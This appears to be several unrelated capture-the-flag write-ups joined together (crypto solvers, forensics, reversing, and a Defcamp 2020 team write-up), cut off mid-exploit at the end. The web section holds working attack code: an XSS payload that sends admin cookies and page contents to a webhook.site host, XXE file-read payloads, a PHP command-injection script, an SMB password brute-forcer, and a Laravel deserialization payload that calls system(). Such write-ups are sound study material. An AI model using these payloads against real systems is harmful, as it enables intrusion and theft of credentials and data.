21_55_33-boot2root](https://user-images.githubusercontent.com/62826765/101519634-b7146c00-3983-11eb-9984-0167017a9899.png) We were given a source code :```pythonfrom Crypto.Util.number import *import randome = 4def func(m): while(True): n = getPrime(512) x = pow(m, e, n) if(pow(x, (n-1)//2, n) == 1): return n flag = bytes_to_long(b"############################")n = func(flag)print("n =", n)print("c =", pow(flag, e, n)) # OUTPUT# n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639# c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280```We can observe that the modulus ```n``` is a prime number. So since the exponent ```e``` is a power of 2, we can take consecutive square roots to find the eth root.Therefore we will use [Tonelli Shanks Algorithm](https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm) to compute module square roots and convert each one to get the correct flag. **Solver :**```pythonfrom Crypto.Util.number import long_to_bytes n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280e = 4 def legendre(a, p): return pow(a, (p - 1) // 2, p) def tonelli(n, p): assert legendre(n, p) == 1, "not a square (mod p)" q = p - 1 s = 0 while q % 2 == 0: q //= 2 s += 1 if s == 1: return pow(n, (p + 1) // 4, p) for z in range(2, p): if p - 1 == legendre(z, p): break c = pow(z, q, p) r = pow(n, (q + 1) // 2, p) t = pow(n, q, p) m = s t2 = 0 while (t - 1) % p != 0: t2 = (t * t) % p for i in range(1, m): if (t2 - 1) % p == 0: break t2 = (t2 * t2) % p b = pow(c, 1 << (m - i - 1), p) r = (r * b) % p c = (b * b) % p t = (t * c) % p m = i return r def find_square_roots(c, e): if e == 1: flag = long_to_bytes(c) if b"b00t2root" in flag: print(flag) return elif pow(c,(n-1)//2,n) != 1: return else: rt1 = tonelli(c, n) find_square_roots(rt1, e//2) rt2 = n - rt1 find_square_roots(rt2, e//2) return find_square_roots(c, e)``` FLAG is **_b00t2root{finally_legendre_symbol_came_in_handy}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 5 : _The Heist_![2020-12-07 21_55_49-boot2root](https://user-images.githubusercontent.com/62826765/101521105-a36a0500-3985-11eb-9605-65011955feef.png) We were given a netcat server and a source code of the program running on it :```pythonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad,unpadimport binasciiimport sys key = b"****************"iv = keyflag = "***********************" def encrypt(str1): obj = AES.new(key, AES.MODE_CBC, iv) str1 = pad(str1,16) ciphertext = obj.encrypt(str1) return binascii.hexlify(ciphertext) def decrypt(str2): obj=AES.new(key, AES.MODE_CBC, iv) plaintext=obj.decrypt(str2) return binascii.hexlify(plaintext) s="""1. Enter key and get flag2. Encrypt plaintext3. Decrypt ciphertext Enter option: """ while(True): try: print(s, end='') opt=int(input()) if(opt==1): KEY = input("Enter hex key: ") KEY = binascii.unhexlify(KEY) if(KEY==key): print(flag) break; elif(opt==2): pt = input("Enter hex plaintext: ") pt = pt.encode('utf-8') pt = binascii.unhexlify(pt) print("Ciphertext: ", encrypt(pt).decode('utf-8')) elif(opt==3): ct = input("Enter hex ciphertext: ") ct = ct.encode('utf-8') ct = binascii.unhexlify(ct) print("Plaintext: ", decrypt(ct).decode('utf-8')) else: print("The input should be in between 1 and 3") except: print("Error")```When we connect to the server, it gives us 3 choices : ![2020-12-08 19_18_03-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101524398-28efb400-398a-11eb-8318-1b204380042e.png) The encryption/decryption is based on AES CBC mode. To get the flag we should retrieve the _KEY_. We can see that ```IV = KEY``` so we need to know the value of _IV_ in order to get the _KEY_. Let's do some analysis : Suppose we encrypt a plaintext with 3 blocks (48 bytes) and we get our ciphertext. Now we are going to decrypt it, so the equations for each plaintext block will be :```P1 = D(C1) xor IVP2 = D(C2) xor C1P3 = D(C3) xor C2```When C1 = C3 and C2 is an empty block (which means 16*"\x00"), then :```P1 = D(C1) xor IVP3 = D(C3) xor 0 = D(C3) = D(C1)```So by xoring P1 and P3 we get the _IV_. **Solver :**```pythonfrom pwn import * cipher = "414141414141414141414141414141410000000000000000000000000000000041414141414141414141414141414141" conn = remote("157.230.237.229",2200)conn.recvuntil("Enter option: ")conn.sendline('3')conn.recvuntil("Enter hex ciphertext: ")conn.sendline(cipher) plaintext = conn.recvline().decode().strip().split(' ')[2]plaintext = bytes.fromhex(plaintext)IV = xor(plaintext[0:16],plaintext[32:48]).hex() conn.recvuntil("Enter option: ")conn.sendline('1')conn.recvuntil("Enter hex key: ")conn.sendline(IV) flag = conn.recv().strip().decode()print(flag)```![2020-12-08 19_35_16-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101526169-98ff3980-398c-11eb-9018-cdb00b89c41d.png) FLAG is **_b00t2root{th3y_4r3_g0ing_t0_k1ll_u5}_**
# Writeup: Char Wrap:triangular_flag_on_post: ***Category : Forensic***:minidisc:\***Points : 10***\***Author : krn bhargav (Ryn0)*** \***Team : Red-Knights***:warning:## Description>only [file](https://github.com/Red-Knights-CTF/writeups/raw/master/2020/affinity_ctf_lite/Char_Wrap/charwrap) given. ![charwrap](charwrap.png) ## solution>This is only elf-64 file. ![filedescription](file.png) >use strings to get flag(flag format : AFFCTF{}) ![stringuse](stringsuse.png) >then remove 'H', you got```Flag : AFFCTF{you_found_somethiHng!}```
```import randomdef rot(s, num): l = "" for i in s: if (ord(i) in range(97,97+26)): l += chr((ord(i) - 97 + num) % 26 + 97) else: l += i return l def xor(a, b): return chr(ord(a) ^ ord(b)) cipher = 'MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28='c = cipher.decode('base64')char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'chk = ''for x in char: try: n = x for i in range(len(c) - 1): n += xor(c[i], n[i]) chk = n.decode('base64') if '00' in chk and '2' in chk and '{' in chk and '}' in chk: break except: continuefor i in range(1, 26): flag = rot(chk, i) if 'b00t2root' in flag: print flag break``````b00t2root{Bond. James Bond.}```
# Baby Reverse ## Task File: Easy.zip ## Solution After looking the the file with `radare2` I noticed a lot of strings being moved around and inserted in the flag format. Instead of looking at it for long I just used dynamic analysis to let the binary do it's thing. There are some checks in place that we need to circumvent. At each jump that follows a comparison we set a breakpoint. It it doesn't jump where we want it to jump we modify `$rip`. ```bashgdb-peda$ b *main+47Breakpoint 1 at 0x769gdb-peda$ b *main+789Breakpoint 3 at 0xa4f``` We also set a breakpoint after the last loop that loaded all the correct chars. After reaching the first breakpoint: ```bashgdb-peda$ set $rip = 0x55555555477c``` At the second breakpoint: ```bashgdb-peda$ x/s $rbp-0x400x7fffffffe050: "JISCTF{Th1S_1S_4N_e4Sy_R3v3Rs1Ng}"```
# Fibonacci **Category**: Forensics \**Points**: 200 Opening this file in a hex editor:```$ xxd Fibonacci.7z | less00000000: 4242 4242 3742 7abc 42af 271c 0042 04c9 BBBB7Bz.B.'..B..00000010: 336d e569 0542 0000 0000 0000 5a00 0000 3m.i.B......Z...00000020: 0000 4200 0077 9ed7 14e0 0be2 0561 5d00 ..B..w.......a].00000030: 2168 b490 09c2 6442 c064 0461 7378 6c59 !h....dB.d.asxlY00000040: 041b 7ec3 e075 08cf 3b81 a186 1f0c 2557 ..~..u..;.....%W00000050: fded 72e7 04b6 20eb a242 dcc7 e2f1 ee76 ..r... ..B.....v00000060: 407f 6fa8 09dc e8db 19d4 ea35 0743 14a5 @.o........5.C..``` We can almost see the `7zip` header, but it seems to be crowded with `B`characters. Looking closely, we see that there are `B` characters at these positions:```0 1 1 2 3 5 8 13 21 ...``` This is the fibonacci sequence, so let's just remove these characters and seewhat happens. ```pythondef gen_fib(n): ans = [0, 1] while ans[-1] < n: ans.append(ans[-1] + ans[-2]) return ans i = 0with open('out.7z', 'wb') as fout: with open('Fibonacci.7z', 'rb') as fin: fibs = gen_fib(1000) fibs = set(fibs) while True: b = fin.read(1) if b == b'': break if i not in fibs: fout.write(b) i += 1``` Then we can just unzip:```$ 7z e out.7z$ cat Fibonacci | grep AFFCTF"AFFCTF{Hitchhiker}," said Deep Thought, with infinite majesty and calm.”```
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += 